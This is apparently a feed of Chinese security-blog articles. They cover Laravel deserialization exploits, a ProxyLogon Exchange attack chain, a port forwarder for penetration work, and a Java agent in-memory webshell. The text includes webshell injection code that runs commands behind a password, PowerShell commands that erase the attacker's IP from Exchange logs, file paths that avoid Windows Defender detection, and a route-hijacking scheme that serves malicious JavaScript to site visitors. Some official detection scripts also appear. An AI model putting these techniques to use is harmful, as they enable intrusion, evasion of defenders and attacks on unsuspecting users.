$key = 'base64:xxx';$key = base64_decode(substr($key, 7));$cipher = 'AES-256-CBC';
$iv = \random_bytes(\openssl_cipher_iv_length($cipher));
$value = serialize($c);$value = \openssl_encrypt($value, $cipher, base64_decode($key), 0, $iv);
$iv = base64_encode($iv);$mac = hash_hmac('sha256', $iv . $value, $key);echo $mac . "\n";
$json = json_encode(compact('iv', 'value', 'mac'));echo base64_encode($json);



在Laravel 5.6.30之后，官方对CVE-2018-15133漏洞进行了修复。具体来说，Laravel在Cookies解析之前多传了一个 static::serialized()值来禁止反序列化操作，同样对于 X-XSRF-TOKEN 头的解析也是同样的处理。



CVE-2021-3129

今年年初爆出来的laravel debug模式下的RCE的漏洞。在 Debug 模式下，Laravel 内置的错误页面管理Ignition 组件中某些接口未严格过滤输入数据，导致可以利用 file_get_contents() 和 file_put_contents() 对laravel的日志文件进行 phar 的反序列化攻击，最终RCE。

漏洞具体成因出现在facade/ignition/src/Solutions/MakeViewVariableOptionalSolution类中。这个类本是用来提示开发者，页面存在未定义的变量，并可以通过点击按钮（下图中Make variable optional按钮）的方式，来快速修复一些错误。在这里，通过在blade模板中插入一个未定义的$username变量，就可以触发MakeViewVariableOptionalSolution。

具体利用点出现在MakeViewVariableOptionalSolution的run()函数中，这里如果$output和$parameters可控的话，那么就可以实现任意文件写。$output是makeOptional()函数返回的结果，因此跟进makeOptional()函数。

望文生义，makeOptional()对应于上图中Make variable optional按钮中对应的处理函数。在这里，主要体现的功能就是替换 内容中含有的$variableName 为 $variableName ?? '' , 然后进行token_get_all的校验，如果token校验可以通过，那么最后将返回修改后的内容$newContent。需要注意的一点是，file_get_contents() 和 file_put_contents()操作的都是同一个文件（$parameters[‘viewFile'])

因此，如果传入run()函数的$parameters可控的话，我们就拥有了一个对任意文件的读写。


向上寻找run()的调用链，定位到了ExecuteSolutionController类。这个类满足了所有需求，调用了MakeViewVariableOptionalSolution类的run()方法的同时，$parameters通过$request->get()获取，满足了可控的需求。



$solution通过$ExecuteSolutionRequest->getRunnableSolution()获取，getRunnableSolution()调用了getSolution()。而ExecuteSolutionRequest继承FormRequest，因此$solution的值实际上由post请求体获得。


最后，漏洞触发点的路由定义在IgnitionServiceProvider.php，对应的web访问路由为/_ignition/execute-solution

下图是一个清除laravel log日志的payload：

因为本文主要关注于Laravel中存在反序列化的点，同时后序的利用网上已经有了很多的分析文章了，因此在这里就仅仅介绍一下后序的思路：

1.通过php filter对log日志文件的清空和写入，将log文件转换为phar文件格式。

2.通过phar协议进行phar的反序列化解析，最终完成RCE。

decrypt函数

让我们再回到decrypt函数中。可以看到decrypt()中默认传入的$unserialize值为true，也就是说，如果没有对decrypt()进行了充分的了解，将用户的输入作为$payload传入，那么就会在不知情的情况下构造了一个反序列化的点（前提还是需要获取到APP KEY）。

新建一个控制器，并不正当地使用decrypt()函数（为了方便，省去了获取内置Encrypter的步骤）。

class DecryptController extends Controller{    public function decrypt(){        $key = 'base64:bz9ynRr1smrZsNo7egh3muVHGKVHm9yB2YLrFvjajoE=';        $key = base64_decode(substr($key, 7));
        $payload = "eyJpdiI6Ik9nTFVFWm81ODdMbHdreVwvXC85UjVyQT09IiwidmFsdWUiOiIrTjgwdnhjZUZhelNwQXFCWjVLTVg4dmdEaWRKMjd5MVNvbHp3MFRnUXFCdE9KZFdNT3I5TnRrM3dnbStUM0NHVTI5Q0pJM21oRmtJZzk4NHJZM1NIclJwamFrMUoxTkE3ZG12YUZiV1FZcUdYZ1dBb2NlcUZET0gxSjk2OTJ2UjRHdW9sZFlJcjFsc3ZoR2JIYXFORUUyYnlCbk4rMnRoRURrZkJuMEpKMVwvYUlDTUp1U2VyQTlNb2hSdlp4NUZkbmU4eVVXTlpjSEI3UGhrOHN1dEdFcHE5dFF3RklWcE1lVTBiSnpiRVZRckI0Z0d4aHU0S2JybER0aGdMSUhEZ0RaUWNPNjY0UDVrU2Z1VlNcLzFNUGdsbFwvNUZEZHlxSlB4a0JIZ0NsQ0E2ajFSdHpWd24wXC82RW5cL1BXNTByXC9kcyIsIm1hYyI6ImRmMmMyMTE1YjhhODI1YmExMjU4MzcwNGIxODc2ZDg5YTg4NDI5NWNkNDBlNDNhZTM0YTdiYWVkY2U5YWFkYzcifQ==";
        $encrypter = new Encrypter($key, 'AES-256-CBC');        var_dump($encrypter->decrypt($payload));    }}


可以看到，访问当前路由就能触发反序列化漏洞，造成命令执行。




参考资料

•https://www.anquanke.com/post/id/231079 •https://xz.aliyun.com/t/9478 •https://www.anquanke.com/post/id/189718 •https://www.anquanke.com/post/id/231459



阅读原文

跳转微信打开

]]> Mon, 24 May 2021 18:43:00 +0800 ProxyLogon利用链复现 https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&mid=2247484235&idx=1&sn=a6a85102eb0b865e2e0cc263b4d81e41 ProxyLogon 利用链复现~~~~~ 原创 零鉴科技 2021-04-21 12:38

ProxyLogon 利用链复现~~~~~



 ProxyLogon 

利用链复现

零鉴科技




简介

Proxylogon是CVE-2021-26855漏洞的别名，该漏洞允许攻击者绕过身份验证并冒充管理员，将此漏洞与另一个后身份验证的任意文件写漏洞 CVE-2021-27065 串在一起，可以完成exchange上的RCE。默认情况下，所有受影响的组件都容易受到攻击。

CVE-2021-26855 是一个SSRF 漏洞，问题出现在将客户端请求代理到服务端时，该漏洞可以获取用户的sid，实现了无交互攻击链中最重要的第一步。

CVE-2021-27065 是一个任意文件写漏洞。虽然不能完全控制要写入的内容，但是文件名与路径可以任意设置，当我们以 .aspx 为后缀创建文件，并在文件中插入一句话木⻢后，就可以实现远程控制。

受影响的Exchange版本：

  • Exchange Server 2019 < 15.02.0792.010

  • Exchange Server 2019 < 15.02.0721.013

  • Exchange Server 2016 < 15.01.2106.013

  • Exchange Server 2013 < 15.00.1497.012



原理浅析
 CVE-2021-26855

本质上是因为Exchange对BackEnd的请求缺乏来源性校验，导致可以通过构造特定结构的Cookies，直接对BackEnd发起请求，造成SSRF。

利用CVE-2021-26855漏洞时发出的post数据包：

其中要留意的关键点有两个，一是请求的url地址，二是Cookies。

下面的分析参考知道创宇

1、URL地址

首先，url中的/ecp/08gl.js不是一个存在的文件，而是一个虚拟路径，这么做的原因是为了能够调用BEResourceRequestHandler进行后端的请求。为了达到这个目的，我们所构造的数据包要满足ProtocolType为Ecp（也就是以 /ecp/xxx.xxx 进行请求），并且需要CanHandle返回true。

在CanHandle()中，使用GetBEResouceCookie()判断请求包中是否存在 X-BEResource字段的Cookies，使用IsResourceRequest()判断url地址。

在IsResourceRequest()中判断了传入的路径的后缀，只要是以下列举出来的后缀名都会返回true。

因此，/ecp/08gl.js实际上仅需要满足/ecp/xxx.合法后缀名即可。


2、Cookies

关键点在于BEResourceRequestHandler.ResolveAnchorMailbox函数，该函数直接提取出Cookie中的 X-BEResource 字段，并用其生成 BackEndServe实例，最终向BackEnd发出请求。

因此X-BEResource 用于代理请求，其格式为[fqdn]~BackEndServerVersion，BackEndServerVersion 应该大于1941962752。

后序BackEndServer.FromString会调用一系列拼接和解析函数，这里就略过了。最后指向BackEnd 的url类似这样:

这其中name没有做检查和限制，‘#’ 用于在有url请求参数时分隔参数https://[name@FQDN:444/autodiscover/autodiscover.xml?#]:443/ecp/target.js

后续如果需要通过ssrf去访问的api，修改:444后的url地址即可。



 CVE-2021-27065

该漏洞具体位置在exchange管理中心（ecp）的虚拟目录配置窗口，需要administrator权限才可进行操作。

点击上方的修改按钮，在内部URL（InternalUrl）和外部URL（ExternUrl）中都可以填入payload，两者都限制了最大长度为255，并且会将url里的%全部编码为%25。

这里首选修改外部URL，因为修改了内部URL可能会让某些内部服务失去作用，引起目标的警觉。

最后，选择重置按钮，这个操作将会把原先的对虚拟目录的设置进行保存，而后将当前服务的虚拟目录配置恢复为默认配置。因为exchange并没有对以下的路径和保存的文件名进行检测和限制，所以在此可以填入任意的路径和文件名，造成任意文件写漏洞。

写入的文件格式如下：

实际上，除了autodiscover以外，其他服务（ECP，EWS，Mapi，EAS，OAB，OWA，EAS）都可以设置内部URL和外部URL，同时也可以进行重置操作，因此利用RCE可以不仅限于OAB服务。

例如，ECP服务：



攻击链


因此，本次利用的exchange漏洞是一个攻击链，将CVE-2021-26855和CVE-2021-27065两个漏洞结合在一起。首先通过ssrf获取到administrator的权限，再利用此时的权限来完成任意文件写操作，最终完成RCE。




复现

前置条件

  • 需要获取到目标exchange中有效的邮箱名称（任意）

  • POC 向/owa/auth/xxx.js发出请求，若返回的数据包为NegotiateSecurityContext failed with for host 'xxx' with status 'TargetUnknown'，则说明当前的exchange服务器存在ssrf漏洞，并且通过返回包的头部字段X-FEServer，可以获取exchange的FQDN

准备工作

获取用户SID

使用内置的autodiscover服务获取LegacyDN信息。

Autodiscover(自动发现)是自Exchange Server 2007开始推出的一项自动服务，用于自动配置用户在Outlook中邮箱的相关设置，简化用户登陆使用邮箱的流程。如果用户账户是域账户且当前位于域环境中，通过自动发现功能用户无需输入任何凭证信息即可登陆邮箱。

使用exchange的mapi over http特性，通过触发报错来获取用户的SID。


SID也就是安全标识符（Security Identifiers），是标识用户、组和计算机帐户的唯一的号码。在第一次创建该帐户时，将给网络上的每一个帐户发布一个唯一的 SID。在域中，对象的SID＝域的SID + RID

即使在未知administrator邮箱名称的情况下，也可以通过普通用户的邮箱名称来获取域SID，接着再替换RID为500，即能得到当前域中Administrator的SID。

- user1's SID:    S-1–5–21–3698125033–3xxxxxxxxx–xxxxxxxx2–3102 - admin's SID:    S-1-5-21-3698125033-3xxxxxxxxx-xxxxxxxx2-500

身份认证

使用SID向后端proxylogon.ecp发起认证请求，获取身份认证中所需的ASP.NET_SessionID和msExchEcpCanary值，注意此时获取到的身份信息权限已为Administrator。


CVE-2021-27065

通过上述的准备工作，我们已经获取到了带有administrator权限的身份认证信息，因此后续只需要按照顺序发送重置虚拟目录的数据包即可。

第一步：获取RawIdentity

第二步：准备payload

替换第一步中获取到的RawIdentity，并在ExternalUrl中填入payload。

【注意事项】: ExternalUrl对应的值为最大长度为255的url地址，所以必须带上http://或者https://，同时%符号将会被编码为%25


第三步：写入webshell

在FilePathName中填入webshell的地址（任意）。

【注意事项】: webshell无法覆盖已存在的文件



攻击日志

CVE-2021-26855

攻击痕迹会残留在以下目录中：

%PROGRAMFILES%\Microsoft\Exchange Server\V15\Logging\HttpProxy

%PROGRAMFILES%\Microsoft\Exchange Server\V15\Logging directory

HttpProxy下的日志文件会详细记录下所有通过httpproxy来访问后端的记录，包括访问时间，uri地址，来源ip，user-agent，返回状态码等。


官方给出的检测脚本：

Import-Csv -Path (Get-ChildItem -Recurse -Path "$env:PROGRAMFILES\Microsoft\Exchange Server\V15\Logging\HttpProxy" -Filter '*.log').FullName | Where-Object { $_.AnchorMailbox -like 'ServerInfo~*/*' -or $_.BackEndCookie -like 'Server~*/*~*'} | select DateTime, AnchorMailbox, UrlStem, RoutingHint, ErrorCode, TargetServerVersion, BackEndCookie, GenericInfo, GenericErrors, UrlHost, Protocol, Method, RoutingType, AuthenticationType, ServerHostName, HttpStatus, BackEndStatus, UserAgent

清理痕迹：

Get-ChildItem -Recurse -Path "$env:PROGRAMFILES\Microsoft\Exchange Server\V15\Logging\HttpProxy\Ecp" -Filter '*.log' | % {(Get-Content $_.FullName) | where {$_ -notmatch "yourIP"} | Set-Content $_.FullName}

【注意事项】：当天的日志因为会被W3wp.exe（IIS Application Pool Process）占用而无法修改


CVE-2021-27065

攻击痕迹会残留在以下目录中：

%PROGRAMFILES%\Microsoft\Exchange Server\V15\Logging\ECP\Server

官方给出的检测脚本：

Select-String -Path "$env:PROGRAMFILES\Microsoft\Exchange Server\V15\Logging\ECP\Server\*.log" -Pattern 'Set-.+VirtualDirectory'

此日志会详细记录ecp相关的所有请求（包括一部分http头信息和post body）。

清理痕迹：

Get-ChildItem -Recurse -Path "$env:PROGRAMFILES\Microsoft\Exchange Server\V15\Logging\ECP\Server" -Filter '*.log' | % {(Get-Content $_.FullName) | where {$_ -notmatch "Set-.+VirtualDirectory"} | Set-Content $_.FullName}

【注意事项】：当天的日志因为会被W3wp.exe（IIS Application Pool Process）占用而无法修改


杀软检测

WD已经能够准确识别出webshell以及CVE-2021-27065漏洞，并拒绝程序对webshell的访问

监控的目录如下：

C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\xxx.aspx

C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\ecp\auth\xxx.aspx

【2021-04-16测试】：写入webshell的内容仅包含</script>标签也会被windows defender查杀

不被wd查杀的路径：

C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources\xxx.aspx

C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\scripts\premium\xxx.aspx

C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\15.1.2044\themes\resources\xxx.aspx

C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\15.1.2044\scripts\premium\xxx.aspx

[IIS Install Path]\aspnet_client\

[IIS Install Path]\aspnet_client\system_web\

及其他iis web目录

RCE:



参考



阅读原文

跳转微信打开

]]> Wed, 21 Apr 2021 12:38:00 +0800 Awesome-Forwarder开发实战 https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&mid=2247484205&idx=1&sn=336004c9cbb8b554522c283ce9517192 Awesome-Forwarder开发实战~ 原创 零鉴科技 2021-04-15 19:23

Awesome-Forwarder开发实战~

Awesome-Forwarder开发实战

零鉴科技



初
衷
上矩形

在实战的过程中，总会遇到防火墙或者一些策略的限制，导致目标机器只放行80，443等特定端口的流量，此时若没有闲置的服务器作为攻击机的话，往往则需要调整当前的服务或者新开一台服务器，这会给渗透工作带来很多额外的操作。

如果有一个根据ip来转发流量的工具，对外只暴露所需的端口，后续流量都由转发工具进行转发，那么既能够满足只出特定端口的需求，同时也可以较好地隐藏机器的真实功能。




简介

Awesome-Forwarder是一个轻量级的流量转发工具，能够根据特定的ip或者网段来转发流量，并支持以配置文件的形式导入路由表。

基于golang编写的Awesome-Forwarder可以很好的兼容各个平台，能够保证高并发率以及高效率。






特点功能

1.根据ip或者网段进行流量转发。

2.热加载，这意味着你可以在运行时实时修改配置文件。

3.静默模式。

4.自动日志转储和压缩。

5.每六小时自动存储状态信息。

6.在控制台中，通过输入"conn"来获取当前连接的状态，输入"routes"来获取当前路由信息。






左中括号
项目框架
左中括号



核心代码

1.流量转发

func forwardPacket(conn net.Conn, dest string, belong string) {  var target net.Conn  target, err := net.Dial("tcp", dest)  defer target.Close()   //...  // io bridge  go tcpBridge(conn, target)  tcpBridge(target, conn)}
func tcpBridge(a, b net.Conn) {  defer func() {    a.Close()    b.Close()  }()  buf := make([]byte, 2048)  for {    n, err := a.Read(buf)    if err != nil {      return    }    b.Write(buf[:n])  }}

Forwarder在此承担一个双向通信的角色，分别向来源端和目标端建立连接，并将发送来的数据包转发给目标端，将目标返回的数据包返回给来源端。这样的实现方式得益于golang中优雅的io Reader和Writer，通过这两个接口，程序可以以流的方式高效处理数据，而不用考虑数据是什么，数据来自哪里，以及数据要发送到哪里的问题，开发者仅仅需要将数据往里面写（Writer）和读数据（Reader）即可。



2. 热加载

go func() {  for {    select {      case event := <-watcher.Events:      switch event.Op {        case fsnotify.Remove:           // reset routeMap          resetConfig()          // add the file to the filewatcher again          err := watcher.Add(*ConfigFile)          if err != nil {            fmt.Println("fail to watch directory")          }        case fsnotify.Write:           // reset routeMap          resetConfig()      }      case err := <-watcher.Errors:      fmt.Println("file watcher error")    }  }}()

在Forwarder启动的同时新建一个goroutine，使用go下的fsnotify库来监控文件，在捕捉到修改文件的事件后，重新设置配置。

这里有一个坑点是：在linux下，使用vim/vi修改文件会产生RENAME, CHMOD, REMOVE三个通知事件，而最后的REMOVE会移除所监控文件，所以要重新把文件添加入监控列表。

3.配置文件

{  "log_level": "debug",   "listen_port": "0.0.0.0:80",   "routers": [    {      "description": "web",       "from": "1.2.3.5",       "to": "5.6.7.8:81"     },    {      "description": "ssh",      "from": "1.2.3.4",       "to": "5.6.7.8:22"    }  ]}

Forwarder读取json格式的配置文件来形成路由表，其中log_level设置log等级，listen_port设置监听的端口，routers中存储着路由信息，路由信息由description，from和to三条信息构成，以此来标识一个转发规则。






压力测试

服务端：Ubuntu 20.04.1 LTS Apache 2.4.41

客户端：apache benchmark Version 2.3

服务端和客户端都位于内网环境

测试结果：

列"Local xxx" 表示直接请求服务端, 列"Forwarder xxx"表示通过    Forwarder转发流量来请求服务端。

从测试结果可以得出，Awesome-Forwarder做到了所有测试100%无丢包率，在内网测试下转发速率约为33MB/s，并且即使在30000次请求，200个线程下也能够很好的完成端口转发的工作。但是因为Forwarder需要将入口流量转发给出口，并将出口流量返回给入口（共两次请求），所以它大约需要耗费两倍于正常请求的时间来完成一次请求。







后序

Forwarder后序可以附加上很多额外的功能：

  • 连接管理终端

  • 提供web api获取当前连接状态和修改配置文件

  • 与telegram bot进行联动，实时提醒

  • 提供以守护进程启动的方式

  • 身份认证功能






参考

•https://github.com/crabkun/switcher




阅读原文

跳转微信打开

]]> Thu, 15 Apr 2021 19:23:00 +0800 护网专题第二篇-Java内存马（下） https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&mid=2247484158&idx=1&sn=280bdcdf8172f29f77e9159c730be1a2 Java Agent 从入门到内存马（下） 原创 零鉴科技 2021-04-02 17:54

Java Agent 从入门到内存马（下）

Java Agent 从入门到内存马（下）




回顾



如果您不记得之前讲了什么内容，请回顾我们的上一篇文章~

上文讲到Instrumentation的两个简单方法——getAllLoadedClasses()和isModifiableClasses()。

今天就来讲讲如何使用addTransformer()和retransformClasses()来篡改Class的字节码。

首先看一下这两个方法的声明：

public interface Instrumentation {        // 增加一个 Class 文件的转换器，转换器用于改变 Class 二进制流的数据，参数 canRetransform 设置是否允许重新转换。在类加载之前，重新定义 Class 文件，ClassDefinition 表示对一个类新的定义，如果在类加载之后，需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后，后续的类加载都会被Transformer拦截。对于已经加载过的类，可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后，除非再次被retransform，否则不会恢复。    void addTransformer(ClassFileTransformer transformer);
    // 删除一个类转换器    boolean removeTransformer(ClassFileTransformer transformer);
    // 在类加载之后，重新定义 Class。这个很重要，该方法是1.6 之后加入的，事实上，该方法是 update 了一个类。    void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;        ......}

 在addTransformer()方法中，有一个参数ClassFileTransformer transformer。这个参数将帮助我们完成字节码的修改工作。    



ClassFileTransformer



这是一个接口，它提供了一个transform方法：

public interface ClassFileTransformer {    default byte[]    transform(  ClassLoader         loader,                String              className,                Class<?>            classBeingRedefined,                ProtectionDomain    protectionDomain,                byte[]              classfileBuffer) {        ....    }}

这个接口的功能在注释中写道（经过翻译）：

// 代理使用addTransformer方法注册此接口的实现，以便在加载，重新定义或重新转换类时调用转换器的transform方法。该实现应覆盖此处定义的转换方法之一。在Java虚拟机定义类之前，将调用变压器。// 有两种转换器，由Instrumentation.addTransformer（ClassFileTransformer，boolean）的canRetransform参数确定：// 与canRetransform一起添加的具有重转换能力的转换器为true// 与canRetransform一起添加为false或在Instrumentation.addTransformer（ClassFileTransformer）处添加的无法重新转换的转换器// 在addTransformer中注册了转换器后，将为每个新的类定义和每个类重新定义调用该转换器。具有重转换功能的转换器也将在每个类的重转换上被调用。使用ClassLoader.defineClass或其本机等效项来请求新的类定义。使用Instrumentation.redefineClasses或其本机等效项进行类重新定义的请求。使用Instrumentation.retransformClasses或其本机等效项进行类重新转换的请求。在验证或应用类文件字节之前，将在处理请求期间调用转换器。如果有多个转换器，则通过链接转换调用来构成转换。也就是说，一次转换所返回的字节数组成为转换的输入（通过classfileBuffer参数）。

简单概括一下：

1.使用Instrumentation.addTransformer()来加载一个转换器。2.转换器的返回结果（transform()方法的返回值）将成为转换后的字节码。3.对于没有加载的类，会使用ClassLoader.defineClass()定义它；对于已经加载的类，会使用ClassLoader.redefineClasses()重新定义，并配合Instrumentation.retransformClasses进行转换。

现在已经知道了怎样能修改Class的字节码，具体的做法还需要用到另一个工具——javassist。



javassist






javassist简介





Javassist (JAVA programming ASSISTant) 是在 Java 中编辑字节码的类库;它使 Java 程序能够在运行时定义一个新类, 并在 JVM 加载时修改类文件。

我们常用到的动态特性主要是反射，在运行时查找对象属性、方法，修改作用域，通过方法名称调用方法等。在线的应用不会频繁使用反射，因为反射的性能开销较大。其实还有一种和反射一样强大的特性，但是开销却很低，它就是Javassit。

与其他类似的字节码编辑器不同, Javassist 提供了两个级别的 API: 源级别和字节码级别。如果用户使用源级 API, 他们可以编辑类文件, 而不知道 Java 字节码的规格。整个 API 只用 Java 语言的词汇来设计。您甚至可以以源文本的形式指定插入的字节码; Javassist 在运行中编译它。另一方面, 字节码级 API 允许用户直接编辑类文件作为其他编辑器。

由于我们的目的只是修改某个类的某个方法，所以下面只介绍这一部分，更多的信息可以参考下面的参考资料[1]。





ClassPool





这个类是javassist的核心组件之一。

来看一下官方对他的介绍：

ClassPool是CtClass对象的容器。CtClass对象必须从该对象获得。如果get()在此对象上调用，则它将搜索表示的各种源ClassPath 以查找类文件，然后创建一个CtClass表示该类文件的对象。创建的对象将返回给调用者。

简单来说，这就是个容器，存放的是CtClass对象。

获得方法： ClassPool cp = ClassPool.getDefault();。通过 ClassPool.getDefault() 获取的 ClassPool 使用 JVM 的类搜索路径。如果程序运行在 JBoss 或者 Tomcat 等 Web 服务器上，ClassPool 可能无法找到用户的类，因为 Web 服务器使用多个类加载器作为系统类加载器。在这种情况下，ClassPool 必须添加额外的类搜索路径。

cp.insertClassPath(new ClassClassPath(<Class>));





CtClass





可以把它理解成加强版的Class对象，需要从ClassPool中获得。

获得方法：CtClass cc = cp.get(ClassName)。





CtMethod





同理，可以理解成加强版的Method对象。

获得方法：CtMethod m = cc.getDeclaredMethod(MethodName)。

这个类提供了一些方法，使我们可以便捷的修改方法体：

public final class CtMethod extends CtBehavior {    // 主要的内容都在父类 CtBehavior 中}
// 父类 CtBehaviorpublic abstract class CtBehavior extends CtMember {    // 设置方法体  public void setBody(String src);        // 插入在方法体最前面    public void insertBefore(String src);        // 插入在方法体最后面    public void insertAfter(String src);        // 在方法体的某一行插入内容    public int insertAt(int lineNum, String src);
}

传递给方法 insertBefore() ，insertAfter() 和 insertAt() 的 String 对象是由Javassist 的编译器编译的。由于编译器支持语言扩展，以 $ 开头的几个标识符有特殊的含义：

符号含义
$0, $1, $2, ...$0 = this; $1 = args[1] .....
$args方法参数数组.它的类型为 Object[]
$$所有实参。例如, m($$) 等价于 m($1,$2,...)
$cflow(...)cflow 变量
$r返回结果的类型，用于强制类型转换
$w包装器类型，用于强制类型转换
$_返回值

详细的内容可以看Javassist 使用指南（二）[2]。





示例





接下来使用一个小示例来更好的说明这个工具的用法。

目标程序 hello.jar，使用Scanner是为了在注入前不让程序结束：

// HelloWorld.javapublic class HelloWorld {    public static void main(String[] args) {        hello h1 = new hello();        h1.hello();    // 输出当前进程的 pid        System.out.println("pid ==> " + [pid])    // 产生中断，等待注入        Scanner sc = new Scanner(System.in);        sc.nextInt();
        hello h2 = new hello();        h2.hello();        System.out.println("ends...");    }}
// hello.javapublic class hello {    public void hello() {        System.out.println("hello world");    }}

Java agent agent.jar：

// AgentDemo.javapublic class AgentDemo {    public static void agentmain(String agentArgs, Instrumentation inst) throws IOException, UnmodifiableClassException {        Class[] classes = inst.getAllLoadedClasses();        // 判断类是否已经加载        for (Class aClass : classes) {                if (aClass.getName().equals(TransformerDemo.editClassName)) {                 // 添加 Transformer                inst.addTransformer(new TransformerDemo(), true);                // 触发 Transformer                inst.retransformClasses(aClass);            }        }    }}
// TransformerDemo.java// 如果在使用过程中找不到javassist包中的类，那么可以使用URLCLassLoader+反射的方式调用public class TransformerDemo implements ClassFileTransformer {    // 只需要修改这里就能修改别的函数    public static final String editClassName = "com.xxxx.hello.hello";    public static final String editClassName2 = editClassName.replace('.', '/');    public static final String editMethod = "hello";
    @Override    public byte[] transform(...) throws IllegalClassFormatException {        try {            ClassPool cp = ClassPool.getDefault();        if (classBeingRedefined != null) {                ClassClassPath ccp = new ClassClassPath(classBeingRedefined);                cp.insertClassPath(ccp);            }            CtClass ctc = cp.get(editClassName);            CtMethod method = ctc.getDeclaredMethod(editMethodName);            String source = "{System.out.println(\"hello transformer\");}";            method.setBody(source);            byte[] bytes = ctc.toBytes();            ctc.detach();            return bytes;        } catch (Exception e){            e.printStackTrace();        }        return null;    }}

这个示例比较通用，需要更改不同的方法时只需要改变常量和source变量即可。

来看看效果：（输入1之前使用了Java agent）

可以看到的是当第二次调用com.xxx.hello.hello#hello()的时候，输出的内容变成了hello transformer。



内存马



既然现在已经能够修改方法体了，那就可以将木马放到某个一定会执行的方法内，这样的话，当访问任意路由的时候，就会调用木马。那么现在的问题就变成了，注入到哪一个类的哪个方法比较好。

众所周知，Spring boot 中内嵌了一个embed Tomcat作为容器，而在网上流传着很多版本的 Tomcat“无文件”内存马。这些内存马大多数都是通过重写/添加Filter来实现的。既然Spring boot 使用了Tomcat，那么能不能照葫芦画瓢，通过Filter，实现一个Spring boot的内存马呢？当然是可以的。





Spring Boot的Filter





对于一个WebServer来说，每次请求势必会进过大量的调用，一层一层读源码可不是一个好办法，至少不是一个快方法。这里我选择直接下断点调试。首先写一个Spring Boot的简单程序：

@Controllerpublic class helloController {
    @RequestMapping("/index")    public String sayHello() {        try {            System.out.println("hello world");        } catch (Exception e) {            e.printStackTrace();        }         return "index";    }}

直接在第17行下断点，开启debug，并在网页端访问http://127.0.0.1:8080/index，触发断点。此时的调用栈如下图所示（由于太长，只截取一部分）：

在上图中，很明显的可以看到红框中存在很多的doFilter和internalDoFilter方法，他们大多来自于ApplicationFilterChain这个类。

来看看ApplicationFilterChain的doFilter方法：

@Overridepublic void doFilter(ServletRequest request, ServletResponse response)    throws IOException, ServletException {
    if( Globals.IS_SECURITY_ENABLED ) {        final ServletRequest req = request;        final ServletResponse res = response;        try {            java.security.AccessController.doPrivileged(                new java.security.PrivilegedExceptionAction<Void>() {                    @Override                    public Void run()                        throws ServletException, IOException {                        internalDoFilter(req,res);                        return null;                    }                }            );        } catch (PrivilegedActionException pe) {            ......        }    } else {        internalDoFilter(request,response);    }}

乍一看内容挺多，其实总结下来就是——调用this.internalDoFilter()。所以再来简单看一下internalDoFilter()方法：

private void internalDoFilter(ServletRequest request,                                  ServletResponse response)        throws IOException, ServletException {
        // Call the next filter if there is one        if (pos < n) {            ......        }}

这两个个方法拥有Request和Response参数。如果能重写其中一个，那就能控制所有的请求和响应！因此，用来作为内存马的入口点简直完美。这里我选择doFilter()方法，具体原因会在之后提到。






Java agent修改doFilter





只需要对上面的示例代码做一些变动即可。

1.指定需要修改的类名和方法名：

public static final String editClassName = "org.apache.catalina.core.ApplicationFilterChain";public static final String editClassName2 = editClassName.replace('.', '/');public static final String editMethod = "doFilter";


2.为了不破坏程序原本的功能，这里不再使用setBody()方法，而是采用insertBefore()：

method.insertBefore(source);

3.出于方便考虑，实现一个readSource()方法，从文件中读取数据。：

String source = this.readSource("start.txt");
public static String readSource(String name) {        String result = "";        // result = name文件的内容        return result;    }

4.在start.txt中，写入恶意代码：

{    javax.servlet.http.HttpServletRequest request = $1;  javax.servlet.http.HttpServletResponse response = $2;  request.setCharacterEncoding("UTF-8");    String result = "";    String password = request.getParameter("password");    if (password != null) {        // change the password here        if (password.equals("xxxxxx")) {             String cmd = request.getParameter("cmd");            if (cmd != null && cmd.length() > 0) {                // 执行命令，获取回显          }            response.getWriter().write(result);            return;        }  }}





注入示例





注入之前，访问http://127.0.0.1:8080/：

注入Java agent：

注入后，访问http://127.0.0.1:8080/?password=xxx&exec=ls -al：

可以看到已经成功的执行了webshell。

当注入内存shell之后，http的请求流程如下（简化版）：

到这儿，一个简单的Java agent 内存马就制作完成。

注意事项

1.由于某些中间件（例如nginx）只记录GET请求，使用POST方式发送数据会更加隐蔽。2.由于在Filter层过滤了http请求，访问任意的路由都可以执行恶意代码，为了隐蔽性不建议使用不存在的路由。3.agent可以注入多个，但是相同类名的transformer只能注入一个，所以要再次注入别的agent的时候记得更改一下类名。4.这种内存马一旦注入到目标程序中，除了重启没有办法直接卸载掉，因为修改掉了原本的类的字节码。

    既然如此，那我再把它改回去不就得了嘛。这就是我为什么选择doFilter方法的原因——逻辑简单，方便还原。它的逻辑只是调用了internalDoFilter()方法（简单来说）。还原就只需要setBody()即可：

// source.txt{    final javax.servlet.ServletRequest req = $1;    final javax.servlet.ServletResponse res = $2;    $0.internalDoFilter(req,res);}



拓展



当我们能够改变类的字节码，那能做的事情可多了去了，下面我提出两个例子，抛砖引玉。





路由劫持




再来假设这么一个情况：拿下来了站点A，同时其他的资产暂时没有更大的收获，需要使用其他方法来扩展攻击面。在A的/login中使用了/static/js/1.js，那就可以劫持这个路由，回显给他恶意的js代码。

实现的话，只需要在start.txt也就是即将插入的代码块中，判断一下当前访问的路由。

String uri = request.getRequestURI();if (uri.equals("/static/js/1.js")) {    response.getWriter().write([恶意js代码]);    return;}

那么当访问到/login的时候，浏览器发现引用了外部js——/static/js/1.js，就会去请求它，然而请求被我们修改后的ApplicationFilterChain#doFilter()拦截，返回了一个虚假的页面，导致资源被“替换”，恶意代码发挥作用。





替换shiro的key




